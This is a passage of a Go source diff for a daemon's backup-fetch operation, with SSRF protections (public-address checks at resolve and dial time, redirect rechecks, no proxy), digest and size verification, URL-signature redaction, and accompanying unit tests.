// 30 s timeout; a multi-gigabyte download does not finish inside that. `start`
|
||||
// validates, spawns, and returns a job id immediately; `status` reports
|
||||
// progress. Each call is its own short dispatch. (The 25 s mgmtCmdTimeout in
|
||||
// mgmt.go does NOT apply here — it wraps only the p8 shell exec path.)
|
||||
//
|
||||
// WHAT THIS REFUSES, and why each one is here rather than assumed safe:
|
||||
// * a non-HTTPS URL — the digest would still catch tampering, but there is no
|
||||
// reason to fetch a backup in the clear;
|
||||
// * a URL that resolves to this machine or to a private/link-local address —
|
||||
// the host chooses this URL, and this process sits INSIDE the user's
|
||||
// network. Without the check, "fetch my backup" is a request the host can
|
||||
// point at the user's router. The egress lane can already reach the LAN,
|
||||
// but it is separately granted and separately audited; this op has no
|
||||
// legitimate need, so it does not get the reach.
|
||||
// * a body larger than the declared max — a hostile or buggy host must not be
|
||||
// able to fill the user's disk;
|
||||
// * a digest or length that does not match what arrived — verified BEFORE the
|
||||
// file is put in place, so a truncated download never appears as a backup.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
const (
|
||||
// A backup fetch is long by nature; this bounds a stall, not a big file.
|
||||
backupFetchTimeout = 6 * time.Hour
|
||||
// Nothing to do with the artifact size — this is the read buffer.
|
||||
backupFetchChunk = 1 << 20
|
||||
// Refuse anything the caller has not sized. Also the ceiling when the
|
||||
// declared size is absurd: 512 GiB is far past any entity and still leaves
|
||||
// the check meaningful.
|
||||
backupFetchMaxBytes = 512 << 30
|
||||
)
|
||||
|
||||
type backupJob struct {
|
||||
ID string `json:"id"`
|
||||
RPath string `json:"rpath"`
|
||||
Want int64 `json:"want_bytes"`
|
||||
SHA256 string `json:"sha256"`
|
||||
Got int64 `json:"got_bytes"`
|
||||
State string `json:"state"` // running | done | failed
|
||||
Error string `json:"error,omitempty"`
|
||||
Started string `json:"started_at"`
|
||||
Finished string `json:"finished_at,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
// Pruned is how many older backup files the arrival of this one retired
|
||||
// from its folder (backupretention.go).
|
||||
Pruned int `json:"pruned,omitempty"`
|
||||
// root is the pairing's backup folder: a status call from another
|
||||
// pairing reads this job as unknown, and a backup file that lands at its
|
||||
// top is recorded as an arrival there.
|
||||
root string
|
||||
arrival bool
|
||||
}
|
||||
|
||||
var (
|
||||
backupJobsMu sync.Mutex
|
||||
backupJobs = map[string]*backupJob{}
|
||||
)
|
||||
|
||||
// backupRootPath is backupRoot without creating it: the folder this pairing's
|
||||
// backups WOULD go to, for comparing pairings without touching the disk.
|
||||
func (c *Config) backupRootPath() string {
|
||||
if c.BackupRoot != "" {
|
||||
return c.BackupRoot
|
||||
}
|
||||
d, err := os.UserConfigDir()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return filepath.Join(d, "privatae-bastion", "backups", c.HostName)
|
||||
}
|
||||
|
||||
// backupRoot returns the directory this bastion writes fetched backups into.
|
||||
//
|
||||
// Defaults to backups/<host_name> under the bastion's config dir, mirroring
|
||||
// contextRoot() exactly — per host, because one daemon serves many and their
|
||||
// artifacts must not mix. A user who wants them on a NAS sets `backup_root` in
|
||||
// this pairing's config to the mount point; it is deliberately a local choice,
|
||||
// because a destination the HOST could pick is not a sandbox.
|
||||
//
|
||||
// "" on any failure to resolve or create it, and the mgmt lane then refuses the
|
||||
// op the same way it refuses ctx_* with no context store.
|
||||
func (c *Config) backupRoot() string {
|
||||
root := c.backupRootPath()
|
||||
if root == "" {
|
||||
return ""
|
||||
}
|
||||
if err := os.MkdirAll(root, 0o700); err != nil {
|
||||
return ""
|
||||
}
|
||||
return root
|
||||
}
|
||||
|
||||
type backupFetchReq struct {
|
||||
Op string `json:"op"` // start | status
|
||||
JobID string `json:"job_id"` // status
|
||||
URL string `json:"url"` // start
|
||||
RPath string `json:"rpath"` // start — relative, sandboxed under backupRoot
|
||||
SHA256 string `json:"sha256"` // start — of the artifact as served
|
||||
Size int64 `json:"size"` // start — expected bytes
|
||||
MaxBytes int64 `json:"max_bytes"`
|
||||
}
|
||||
|
||||
// handleBackupFetch serves both ops on the single `backup_fetch` job name, so
|
||||
// the host-side allowlist grants one op rather than two.
|
||||
func handleBackupFetch(ws *websocket.Conn, root string, args []string) {
|
||||
if len(args) < 1 {
|
||||
backupFail(ws, "backup_fetch: need a JSON argument")
|
||||
return
|
||||
}
|
||||
var req backupFetchReq
|
||||
if err := json.Unmarshal([]byte(args[0]), &req); err != nil {
|
||||
backupFail(ws, "backup_fetch: argument is not JSON: "+err.Error())
|
||||
return
|
||||
}
|
||||
switch req.Op {
|
||||
case "status":
|
||||
backupStatus(ws, root, req.JobID)
|
||||
case "start", "":
|
||||
backupStart(ws, root, req)
|
||||
default:
|
||||
backupFail(ws, "backup_fetch: unknown op "+req.Op)
|
||||
}
|
||||
}
|
||||
|
||||
// backupFail refuses with msg, with any signed URL's query taken out: a URL
|
||||
// the host sent can end up quoted in an error, and its signature does not
|
||||
// belong in a reply or a log.
|
||||
func backupFail(ws *websocket.Conn, msg string) {
|
||||
sendMgmt(ws, 'R', []byte(redactURLs(msg)+"\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
}
|
||||
|
||||
func backupOK(ws *websocket.Conn, v any) {
|
||||
b, _ := json.Marshal(v)
|
||||
sendMgmt(ws, 'O', b)
|
||||
sendMgmtExit(ws, 0)
|
||||
}
|
||||
|
||||
func backupStatus(ws *websocket.Conn, root, id string) {
|
||||
backupJobsMu.Lock()
|
||||
j, ok := backupJobs[id]
|
||||
var snap backupJob
|
||||
if ok {
|
||||
snap = *j
|
||||
}
|
||||
backupJobsMu.Unlock()
|
||||
// Another pairing's job reads exactly as a job this bastion never had.
|
||||
if !ok || snap.root != root {
|
||||
// A restart loses in-flight jobs. Say "unknown", not "failed": the host
|
||||
// re-starts the fetch, which is idempotent on (rpath, sha256).
|
||||
backupOK(ws, map[string]string{"state": "unknown", "id": id})
|
||||
return
|
||||
}
|
||||
backupOK(ws, snap)
|
||||
}
|
||||
|
||||
func backupStart(ws *websocket.Conn, root string, req backupFetchReq) {
|
||||
abs, arrival, why := backupFetchDest(root, req.RPath)
|
||||
if why != "" {
|
||||
backupFail(ws, "backup_fetch: "+why)
|
||||
return
|
||||
}
|
||||
if len(req.SHA256) != 64 {
|
||||
backupFail(ws, "backup_fetch: sha256 must be 64 hex characters")
|
||||
return
|
||||
}
|
||||
if _, err := hex.DecodeString(req.SHA256); err != nil {
|
||||
backupFail(ws, "backup_fetch: sha256 is not hex")
|
||||
return
|
||||
}
|
||||
|
||||
// IDEMPOTENT, AND CHECKED BEFORE THE URL. If the artifact is already here
|
||||
// and already correct, say done without fetching it again — a retry after a
|
||||
// bastion restart, or a host that lost our reply, must not re-download
|
||||
// gigabytes.
|
||||
//
|
||||
// The order matters and was wrong first time round (caught by
|
||||
// TestBackupFetchIsIdempotent): validating the URL first meant a retry whose
|
||||
// signed URL had since EXPIRED — or that arrived while DNS was down —
|
||||
// re-failed even though the correct bytes were already sitting on disk. The
|
||||
// local check is free and needs no network; do it first.
|
||||
//
|
||||
// The digest comes from what this bastion already knows about the file
|
||||
// (the record of what it fetched, the hash cache) and is read from disk
|
||||
// only for a file small enough to hash well inside one dispatch; a large
|
||||
// file with no known digest is fetched again.
|
||||
if sum, n, err := knownOrQuickHash(root, abs); err == nil && sum == strings.ToLower(req.SHA256) &&
|
||||
(req.Size == 0 || n == req.Size) {
|
||||
backupOK(ws, backupJob{ID: "already-present", RPath: req.RPath, State: "done",
|
||||
Got: n, Want: n, SHA256: sum, Path: abs,
|
||||
Finished: time.Now().UTC().Format(time.RFC3339)})
|
||||
return
|
||||
}
|
||||
|
||||
if err := validateBackupURL(req.URL); err != nil {
|
||||
backupFail(ws, "backup_fetch: "+err.Error())
|
||||
return
|
||||
}
|
||||
max := req.MaxBytes
|
||||
if max <= 0 {
|
||||
max = req.Size
|
||||
}
|
||||
if max <= 0 || max > backupFetchMaxBytes {
|
||||
backupFail(ws, fmt.Sprintf(
|
||||
"backup_fetch: size/max_bytes must be between 1 and %d", int64(backupFetchMaxBytes)))
|
||||
return
|
||||
}
|
||||
|
||||
id := newBackupJobID("bf")
|
||||
job := &backupJob{ID: id, RPath: req.RPath, Want: req.Size, SHA256: strings.ToLower(req.SHA256),
|
||||
State: "running", Started: time.Now().UTC().Format(time.RFC3339), root: root, arrival: arrival}
|
||||
backupJobsMu.Lock()
|
||||
backupJobs[id] = job
|
||||
backupJobsMu.Unlock()
|
||||
|
||||
go runBackupFetch(job, req.URL, abs, max)
|
||||
backupOK(ws, map[string]string{"id": id, "state": "running"})
|
||||
}
|
||||
|
||||
func runBackupFetch(job *backupJob, rawURL, abs string, max int64) {
|
||||
finish := func(state, errMsg, path string) {
|
||||
backupJobsMu.Lock()
|
||||
job.State, job.Error, job.Path = state, redactURLs(errMsg), path
|
||||
job.Finished = time.Now().UTC().Format(time.RFC3339)
|
||||
backupJobsMu.Unlock()
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), backupFetchTimeout)
|
||||
defer cancel()
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
|
||||
if err != nil {
|
||||
finish("failed", err.Error(), "")
|
||||
return
|
||||
}
|
||||
// Re-check every redirect hop: a signed URL that 302s to a private address
|
||||
// would otherwise walk straight past the check done at start().
|
||||
// THE ADDRESS DIALLED IS THE ADDRESS CHECKED. validateBackupURL resolves
|
||||
// the name for the check and the transport would resolve it again for the
|
||||
// dial — a rebinding name answers public to the first and private to the
|
||||
// second. The dialer's Control hook sees the address actually connected
|
||||
// to and refuses one that is not public (the same fix egress got).
|
||||
dialer := &net.Dialer{Timeout: 30 * time.Second, Control: func(network, address string, _ syscall.RawConn) error {
|
||||
host, _, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if ip := net.ParseIP(host); ip == nil || !backupDialAllowed(ip) {
|
||||
return fmt.Errorf("refused: %s is on this machine or this network — a backup source must be a public address", host)
|
||||
}
|
||||
return nil
|
||||
}}
|
||||
// The default transport, cloned, with only the dial replaced — its TLS
|
||||
// settings (and whatever the tests put in them) stay as they were.
|
||||
transport := http.DefaultTransport.(*http.Transport).Clone()
|
||||
transport.DialContext = dialer.DialContext
|
||||
// NO PROXY. Through an environment proxy the hook would vet the proxy's
|
||||
// address and the proxy would resolve the target itself, outside it; the
|
||||
// backup source is fetched directly or not at all.
|
||||
transport.Proxy = nil
|
||||
client := &http.Client{
|
||||
Transport: transport,
|
||||
CheckRedirect: func(r *http.Request, via []*http.Request) error {
|
||||
if len(via) >= 5 {
|
||||
return fmt.Errorf("too many redirects")
|
||||
}
|
||||
return validateBackupURL(r.URL.String())
|
||||
},
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
finish("failed", err.Error(), "")
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
// The status code is the diagnosis the user needs: 403 on a signed URL
|
||||
// means it expired, which is a different problem from a 404.
|
||||
finish("failed", fmt.Sprintf("source returned HTTP %d", resp.StatusCode), "")
|
||||
return
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(abs), 0o700); err != nil {
|
||||
finish("failed", err.Error(), "")
|
||||
return
|
||||
}
|
||||
tmp, err := os.CreateTemp(filepath.Dir(abs), ".backup-*.part")
|
||||
if err != nil {
|
||||
finish("failed", err.Error(), "")
|
||||
return
|
||||
}
|
||||
tmpName := tmp.Name()
|
||||
defer os.Remove(tmpName) // no-op once renamed
|
||||
if err := tmp.Chmod(0o600); err != nil {
|
||||
_ = tmp.Close()
|
||||
finish("failed", err.Error(), "")
|
||||
return
|
||||
}
|
||||
|
||||
h := sha256.New()
|
||||
buf := make([]byte, backupFetchChunk)
|
||||
var total int64
|
||||
for {
|
||||
n, rerr := resp.Body.Read(buf)
|
||||
if n > 0 {
|
||||
total += int64(n)
|
||||
if total > max {
|
||||
_ = tmp.Close()
|
||||
finish("failed", fmt.Sprintf(
|
||||
"source is larger than the declared %d bytes — stopped", max), "")
|
||||
return
|
||||
}
|
||||
if _, werr := tmp.Write(buf[:n]); werr != nil {
|
||||
_ = tmp.Close()
|
||||
finish("failed", werr.Error(), "")
|
||||
return
|
||||
}
|
||||
h.Write(buf[:n])
|
||||
backupJobsMu.Lock()
|
||||
job.Got = total
|
||||
backupJobsMu.Unlock()
|
||||
}
|
||||
if rerr == io.EOF {
|
||||
break
|
||||
}
|
||||
if rerr != nil {
|
||||
_ = tmp.Close()
|
||||
finish("failed", rerr.Error(), "")
|
||||
return
|
||||
}
|
||||
}
|
||||
if err := tmp.Sync(); err != nil {
|
||||
_ = tmp.Close()
|
||||
finish("failed", err.Error(), "")
|
||||
return
|
||||
}
|
||||
if err := tmp.Close(); err != nil {
|
||||
finish("failed", err.Error(), "")
|
||||
return
|
||||
}
|
||||
|
||||
// VERIFY BEFORE PUBLISHING. A truncated or substituted download must never
|
||||
// end up sitting at the destination path looking like a backup.
|
||||
got := hex.EncodeToString(h.Sum(nil))
|
||||
if got != job.SHA256 {
|
||||
finish("failed", fmt.Sprintf("sha256 mismatch: got %s, expected %s", got, job.SHA256), "")
|
||||
return
|
||||
}
|
||||
if job.Want > 0 && total != job.Want {
|
||||
finish("failed", fmt.Sprintf("size mismatch: got %d bytes, expected %d", total, job.Want), "")
|
||||
return
|
||||
}
|
||||
if err := os.Rename(tmpName, abs); err != nil {
|
||||
finish("failed", err.Error(), "")
|
||||
return
|
||||
}
|
||||
// Record the arrival, then thin the folder now that a new backup is
|
||||
// safely in it (backupretention.go). A failure of either is not a failed
|
||||
// fetch: the backup arrived.
|
||||
if job.arrival {
|
||||
if err := recordArrival(job.root, filepath.Base(abs), got, time.Now()); err == nil {
|
||||
if removed, err := pruneBackupRoot(job.root, filepath.Base(abs)); err == nil && len(removed) > 0 {
|
||||
backupJobsMu.Lock()
|
||||
job.Pruned = len(removed)
|
||||
backupJobsMu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
finish("done", "", abs)
|
||||
}
|
||||
|
||||
// validateBackupURL is the SSRF wall. The host picks this URL and this process
|
||||
// runs inside the user's network, so "https and not pointed at your own LAN" is
|
||||
// the minimum. Every resolved address must be public — a name that resolves to
|
||||
// one public and one private address is refused, because which one gets dialled
|
||||
// is not ours to predict.
|
||||
func validateBackupURL(raw string) error {
|
||||
u, err := url.Parse(strings.TrimSpace(raw))
|
||||
if err != nil {
|
||||
return fmt.Errorf("url is not parseable: %w", err)
|
||||
}
|
||||
if u.Scheme != "https" {
|
||||
return fmt.Errorf("url must be https (got %q)", u.Scheme)
|
||||
}
|
||||
host := u.Hostname()
|
||||
if host == "" {
|
||||
return fmt.Errorf("url has no host")
|
||||
}
|
||||
ips, err := backupLookupIP(host)
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot resolve %s: %w", host, err)
|
||||
}
|
||||
if len(ips) == 0 {
|
||||
return fmt.Errorf("%s resolves to nothing", host)
|
||||
}
|
||||
for _, ip := range ips {
|
||||
if !backupAddrAllowed(ip) {
|
||||
return fmt.Errorf(
|
||||
"%s resolves to %s, which is on this machine or this network — "+
|
||||
"a backup source must be a public address", host, ip)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// backupLookupIP is net.LookupIP; a test answers for a name without DNS.
|
||||
var backupLookupIP = net.LookupIP
|
||||
|
||||
// backupDialAllowed is the dial-time wall (backupAddrAllowed). A package var
|
||||
// only so the fetch tests, which serve the artifact from a loopback test
|
||||
// server, can let loopback through at the dial while keeping the wall on
|
||||
// everything else in the same binary.
|
||||
var backupDialAllowed = backupAddrAllowed
|
||||
|
||||
// backupAddrAllowed is the wall both backup lanes apply, to every address a
|
||||
// name resolves to and again to the address dialled: a public address that is
|
||||
// not this machine. A public address can still be this machine (one on its
|
||||
// NIC, or a range a `local` route delivers here; ownaddr.go), and a service on
|
||||
// 0.0.0.0 answers there. When the machine cannot tell, it refuses.
|
||||
func backupAddrAllowed(ip net.IP) bool {
|
||||
if !isPublicIP(ip) {
|
||||
return false
|
||||
}
|
||||
own, err := ownDestination([]net.IP{ip})
|
||||
return err == nil && !own
|
||||
}
|
||||
|
||||
// isPublicIP classifies the address alone; whether it is this machine is
|
||||
// backupAddrAllowed's question. It is the coder lane's classifier
|
||||
// (coderInternalIP, coder_egress.go), so the backup lanes refuse what a coder
|
||||
// run's proxy refuses: loopback, private, link-local, multicast, unspecified,
|
||||
// CGNAT, ULA, 0.0.0.0/8, 198.18.0.0/15 and 240.0.0.0/4, site-local fec0::/10,
|
||||
// IPv4-compatible ::/96 and IPv4-translated ::ffff:0:0/96, the 64:ff9b::/32
|
||||
// NAT64 space beyond the well-known prefix, and a NAT64 64:ff9b::/96, 6to4
|
||||
// 2002::/16 or IPv4-mapped address whose IPv4 address is any of those.
|
||||
func isPublicIP(ip net.IP) bool {
|
||||
return !coderInternalIP(ip)
|
||||
}
|
||||
|
||||
func hashFile(path string) (string, int64, error) {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return "", 0, err
|
||||
}
|
||||
defer f.Close()
|
||||
h := sha256.New()
|
||||
n, err := io.Copy(h, f)
|
||||
if err != nil {
|
||||
return "", 0, err
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil)), n, nil
|
||||
}
|
||||
|
||||
// quickHashMax is the largest file start hashes inside a dispatch: about a
|
||||
// second or two of reading on ordinary disks, well inside the host's 30 s.
|
||||
const quickHashMax = 512 << 20
|
||||
|
||||
// knownOrQuickHash is the digest of the file at abs from what this bastion
|
||||
// already knows (the hash cache, the arrivals record), or read from disk when
|
||||
// it is small; a large file with no known digest is an error.
|
||||
func knownOrQuickHash(root, abs string) (string, int64, error) {
|
||||
fi, err := os.Lstat(abs)
|
||||
if err != nil {
|
||||
return "", 0, err
|
||||
}
|
||||
if !fi.Mode().IsRegular() {
|
||||
return "", 0, fmt.Errorf("not a file")
|
||||
}
|
||||
if sum := cachedHash(abs, fi); sum != "" {
|
||||
return sum, fi.Size(), nil
|
||||
}
|
||||
if filepath.Dir(abs) == filepath.Clean(root) {
|
||||
backupStateMu.Lock()
|
||||
a, err := arrivalsLoadLocked(root)
|
||||
backupStateMu.Unlock()
|
||||
if err == nil {
|
||||
if rec, ok := a.Files[filepath.Base(abs)]; ok && stillTheArrival(fi, rec) {
|
||||
return rec.SHA256, fi.Size(), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if fi.Size() > quickHashMax {
|
||||
return "", 0, fmt.Errorf("digest not known")
|
||||
}
|
||||
sum, n, err := hashFile(abs)
|
||||
if err == nil {
|
||||
noteHash(abs, fi, sum)
|
||||
}
|
||||
return sum, n, err
|
||||
}
|
||||
|
||||
// backupFetchDest is where a fetch of rpath lands. A backup file
|
||||
// (<stamp>.tar.zst.age, <stamp>.key.age) lands at the top of this pairing's
|
||||
// own backup folder, whatever folder the host named: that is the one place
|
||||
// thinning looks (backupretention.go) and the one place backup_list reads,
|
||||
// so the host cannot scatter backups where they are never thinned. Anything
|
||||
// else lands where the host named, inside the folder (cleanRel).
|
||||
func backupFetchDest(root, rpath string) (string, bool, string) {
|
||||
abs, ok := cleanRel(root, rpath)
|
||||
if !ok {
|
||||
return "", false, "path rejected"
|
||||
}
|
||||
if base := filepath.Base(abs); backupFileRe.MatchString(base) {
|
||||
return filepath.Join(root, base), true, ""
|
||||
}
|
||||
return abs, false, ""
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package main
|
||||
|
||||
// Gate: a fetch job is its pairing's own — random id, and a status call from
|
||||
// another pairing reads it as unknown — and no job error or refusal quotes a
|
||||
// signed URL's query.
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestBackupFetchStatusIsPerPairing(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
root := t.TempDir()
|
||||
out, errOut, code := drive(t, root, backupFetchReq{Op: "start", URL: "https://storage.example/o?sig=1",
|
||||
RPath: fixtureData, SHA256: strings.Repeat("ab", 32), Size: 10})
|
||||
if code != 0 {
|
||||
t.Fatalf("start refused: %s", errOut)
|
||||
}
|
||||
var started struct {
|
||||
ID string `json:"id"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(out), &started)
|
||||
if !regexp.MustCompile(`^bf-[0-9a-f]{24}$`).MatchString(started.ID) {
|
||||
t.Fatalf("job id %q is short enough to guess", started.ID)
|
||||
}
|
||||
backupJobsMu.Lock()
|
||||
j := backupJobs[started.ID]
|
||||
backupJobsMu.Unlock()
|
||||
if j == nil {
|
||||
t.Fatal("no job")
|
||||
}
|
||||
mine, _, _ := drive(t, root, backupFetchReq{Op: "status", JobID: started.ID})
|
||||
if !strings.Contains(mine, started.ID) || strings.Contains(mine, `"unknown"`) {
|
||||
t.Fatalf("the pairing that started it cannot read it: %s", mine)
|
||||
}
|
||||
theirs, _, _ := drive(t, t.TempDir(), backupFetchReq{Op: "status", JobID: started.ID})
|
||||
var st map[string]string
|
||||
if json.Unmarshal([]byte(theirs), &st) != nil || st["state"] != "unknown" || strings.Contains(theirs, "rpath") {
|
||||
t.Fatalf("another pairing read this job: %s", theirs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupFetchErrorsCarryNoSignature(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
// The dial wall is up: the connection is refused and the client's error
|
||||
// quotes the URL.
|
||||
job := &backupJob{ID: "s1", SHA256: strings.Repeat("00", 32), State: "running", root: root}
|
||||
runBackupFetch(job, "https://127.0.0.1:1/b/x?X-Amz-Signature=SECRETSIG&X-Amz-Credential=CRED", root+"/x", 10)
|
||||
if job.State != "failed" {
|
||||
t.Fatalf("state %s", job.State)
|
||||
}
|
||||
if strings.Contains(job.Error, "SECRETSIG") || strings.Contains(job.Error, "CRED") || !strings.Contains(job.Error, "127.0.0.1") {
|
||||
t.Fatalf("the job's error: %s", job.Error)
|
||||
}
|
||||
_, errOut, code := drive(t, root, backupFetchReq{Op: "start", URL: "https://a%zz/x?X-Amz-Signature=SECRETSIG",
|
||||
RPath: fixtureData, SHA256: strings.Repeat("ab", 32), Size: 10})
|
||||
if code == 0 || strings.Contains(errOut, "SECRETSIG") {
|
||||
t.Fatalf("the refusal quotes the signature: %s", errOut)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,417 @@
|
||||
package main
|
||||
|
||||
// Gate: backup_fetch delivers the right bytes to the right place, and refuses
|
||||
// everything else. Each case is one way a backup could silently be wrong or one
|
||||
// way the host could point this machine somewhere it has no business going.
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// drive runs one backup_fetch job through the real mgmt frame path and returns
|
||||
// (stdout, stderr, exit) the way the host's management worker collects them.
|
||||
func drive(t *testing.T, backupRoot string, req backupFetchReq) (string, string, int) {
|
||||
t.Helper()
|
||||
arg, _ := json.Marshal(req)
|
||||
up := websocket.Upgrader{}
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
ws, err := up.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer ws.Close()
|
||||
handleMgmtConn(ws, "", "", backupRoot)
|
||||
}))
|
||||
defer srv.Close()
|
||||
c, _, err := websocket.DefaultDialer.Dial("ws"+strings.TrimPrefix(srv.URL, "http"), nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial: %v", err)
|
||||
}
|
||||
defer c.Close()
|
||||
job, _ := json.Marshal(mgmtJob{Op: "backup_fetch", Args: []string{string(arg)}})
|
||||
if err := c.WriteMessage(websocket.BinaryMessage, append([]byte("C"), job...)); err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
var out, errOut string
|
||||
for {
|
||||
_, data, err := c.ReadMessage()
|
||||
if err != nil {
|
||||
t.Fatalf("read: %v", err)
|
||||
}
|
||||
switch data[0] {
|
||||
case 'O':
|
||||
out += string(data[1:])
|
||||
case 'R':
|
||||
errOut += string(data[1:])
|
||||
case 'X':
|
||||
var code int
|
||||
fmt.Sscanf(string(data[1:]), "%d", &code)
|
||||
return out, errOut, code
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func awaitJob(t *testing.T, backupRoot, id string) backupJob {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(10 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
out, _, code := drive(t, backupRoot, backupFetchReq{Op: "status", JobID: id})
|
||||
if code != 0 {
|
||||
t.Fatalf("status exited %d", code)
|
||||
}
|
||||
var j backupJob
|
||||
if err := json.Unmarshal([]byte(out), &j); err != nil {
|
||||
t.Fatalf("status is not JSON: %v (%s)", err, out)
|
||||
}
|
||||
if j.State != "running" {
|
||||
return j
|
||||
}
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("job never left running")
|
||||
return backupJob{}
|
||||
}
|
||||
|
||||
func startAndAwait(t *testing.T, root string, req backupFetchReq) backupJob {
|
||||
t.Helper()
|
||||
out, errOut, code := drive(t, root, req)
|
||||
if code != 0 {
|
||||
t.Fatalf("start exited %d: %s", code, errOut)
|
||||
}
|
||||
var started struct {
|
||||
ID string `json:"id"`
|
||||
State string `json:"state"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(out), &started); err != nil {
|
||||
t.Fatalf("start reply is not JSON: %v (%s)", err, out)
|
||||
}
|
||||
if started.State == "done" { // already-present short circuit
|
||||
var j backupJob
|
||||
_ = json.Unmarshal([]byte(out), &j)
|
||||
return j
|
||||
}
|
||||
return awaitJob(t, root, started.ID)
|
||||
}
|
||||
|
||||
func artifactServer(t *testing.T, body []byte) (*httptest.Server, string) {
|
||||
t.Helper()
|
||||
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = w.Write(body)
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
sum := sha256.Sum256(body)
|
||||
return srv, hex.EncodeToString(sum[:])
|
||||
}
|
||||
|
||||
// The SSRF wall refuses httptest's 127.0.0.1 URLs, which is exactly right and
|
||||
// also makes a happy-path test impossible against a local server. So the happy
|
||||
// path drives runBackupFetch directly (the same function the goroutine runs),
|
||||
// and the wall gets its own tests through the full frame path.
|
||||
func TestBackupFetchWritesVerifiedArtifact(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
body := []byte(strings.Repeat("the user's backup, 2026-08-18. ", 5000))
|
||||
srv, want := artifactServer(t, body)
|
||||
http.DefaultTransport.(*http.Transport).TLSClientConfig = nil // keep other tests clean
|
||||
|
||||
dest := filepath.Join(root, "privatae", "tenant-42", "backup.tar.zst.age")
|
||||
job := &backupJob{ID: "t1", SHA256: want, Want: int64(len(body)), State: "running"}
|
||||
// srv.Client() trusts the test cert; runBackupFetch builds its own client, so
|
||||
// point it at the server through the same transport by installing the cert.
|
||||
oldTransport := http.DefaultTransport
|
||||
http.DefaultTransport = srv.Client().Transport
|
||||
defer func() { http.DefaultTransport = oldTransport }()
|
||||
|
||||
runBackupFetch(job, srv.URL+"/artifact", dest, int64(len(body))+1)
|
||||
if job.State != "done" {
|
||||
t.Fatalf("state=%s error=%s", job.State, job.Error)
|
||||
}
|
||||
got, err := os.ReadFile(dest)
|
||||
if err != nil {
|
||||
t.Fatalf("destination not written: %v", err)
|
||||
}
|
||||
if string(got) != string(body) {
|
||||
t.Fatal("delivered bytes differ from the source")
|
||||
}
|
||||
if job.Got != int64(len(body)) {
|
||||
t.Fatalf("progress says %d bytes, file has %d", job.Got, len(body))
|
||||
}
|
||||
fi, _ := os.Stat(dest)
|
||||
if fi.Mode().Perm() != 0o600 {
|
||||
t.Fatalf("artifact mode is %v, want 0600 — a backup is not world-readable", fi.Mode().Perm())
|
||||
}
|
||||
// No .part left behind.
|
||||
entries, _ := os.ReadDir(filepath.Dir(dest))
|
||||
for _, e := range entries {
|
||||
if strings.HasSuffix(e.Name(), ".part") {
|
||||
t.Fatalf("temp file survived: %s", e.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupFetchRefusesWrongDigest(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
body := []byte("a backup that got tampered with")
|
||||
srv, _ := artifactServer(t, body)
|
||||
oldTransport := http.DefaultTransport
|
||||
http.DefaultTransport = srv.Client().Transport
|
||||
defer func() { http.DefaultTransport = oldTransport }()
|
||||
|
||||
dest := filepath.Join(root, "x.bin")
|
||||
wrong := strings.Repeat("00", 32)
|
||||
job := &backupJob{ID: "t2", SHA256: wrong, Want: int64(len(body)), State: "running"}
|
||||
runBackupFetch(job, srv.URL+"/a", dest, 1<<20)
|
||||
if job.State != "failed" {
|
||||
t.Fatalf("a wrong digest must fail, got %s", job.State)
|
||||
}
|
||||
if !strings.Contains(job.Error, "sha256 mismatch") {
|
||||
t.Fatalf("error should name the mismatch, got %q", job.Error)
|
